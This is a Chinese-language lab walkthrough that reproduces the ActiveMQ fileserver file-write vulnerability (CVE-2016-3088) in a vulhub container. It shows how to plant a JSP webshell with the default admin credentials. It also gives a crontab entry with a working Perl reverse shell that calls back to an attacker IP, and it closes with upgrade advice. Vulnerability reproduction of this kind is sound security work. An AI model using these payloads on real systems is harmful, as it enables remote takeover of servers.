ActiveMQ介绍:
Apache ActiveMQ 是 Apache 软件基金会所研发的一套开源的消息中间件,它支持 Java 消息服务、集群、Spring Framework 等。随着中间件的启动,会打开两个端口,61616 是工作端口,消息在这个端口进行传递;8161 是 Web 管理控制台。
ActiveMQ任意文件写入漏洞
ActiveMQ 的 web 控制台分三个应用:admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。
fileserver是一个RESTful API接口,可以通过GET、PUT、MOVE等HTTP请求对其中存储的文件进行读写操作,但后来发现其使用率并不高,并且容易出现漏洞。
所以,ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(可以在conf/jetty.xml中开启);在5.14.0版本以后,彻底删除了fileserver应用。
漏洞详情:
本漏洞出现在 fileserver 应用中,漏洞原理很简单,就是 fileserver 支持写入文件(但不解析jsp),但是支持移动文件(MOVE请求)。我们可以将jsp的文件PUT到 fileserver 下,然后再通过Move指令移动到可执行目录下(admin和api),造成任意文件写入漏洞。
文件写入常用的有下面两种方式:
- 写入webshell
- 写入cron或ssh key等文件
写入webshell的好处是,门槛低更方便,前面说了 fileserver 不解析jsp,admin和api两个应用都需要登录才能访问,所以存在默认用户登录的情况可以用这种;写入cron或ssh key,好处是直接反弹拿shell,也比较方便,缺点是需要root权限;
环境搭建:
靶场路径:
vulhub/activemq/CVE-2016-3088/
启动容器:
docker-compose up -d
复现过程:
访问环境:
分别用两种方式复现一下。
1、写入webshell:
本环境的账号密码就是默认的 admin/admin。上传个文件到 fileserver看一下,发现 jsp 类型的文件上传失败,改为 txt 上传成功。(有些情况下是可以直接上传 jsp 的,但是解析不了还是要移动文件)
接着移动到 admin 或 api 路径下并改后缀名为jsp就行了,但是需要知道上传路径,可通过 /admin/test/systemProperties.jsp 查看 ActiveMQ 的绝对路径
移动到 api 下,并且改后缀名
成功移动文件,访问 api/test.jsp 成功解析。
同理如果上传一个冰蝎马就能getshell了。连接冰蝎马的时候因为要登录验证,所以需要加 headers 头
Authorization:Basic YWRtaW46YWRtaW4=
2、写入crontab,自动化弹shell
在 /admin/test/systemProperties.jsp 可以看到运行ActiveMQ的用户是root,也就是说可以使用这种方法。
首先上传cron配置文件(注意,换行一定要\n,不能是\r\n,否则crontab执行会失败)
*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.168.50.131";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
解释:这里反弹 shell 用的是 perl shell(bash shell 用不了),能成功的前提是服务器上安装了perl(看运气)。
*/1 * * * *
表示定时任务执行时间是每分钟一次- root 表示执行定时任务的用户
- /usr/bin/perl 是 perl 的绝对路径
$i
为攻击机ip,$p
为攻击机监听的端口
如果上述两个请求都返回204了,说明写入成功。监听端口,反弹 shell 成功。
漏洞防御:
ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本。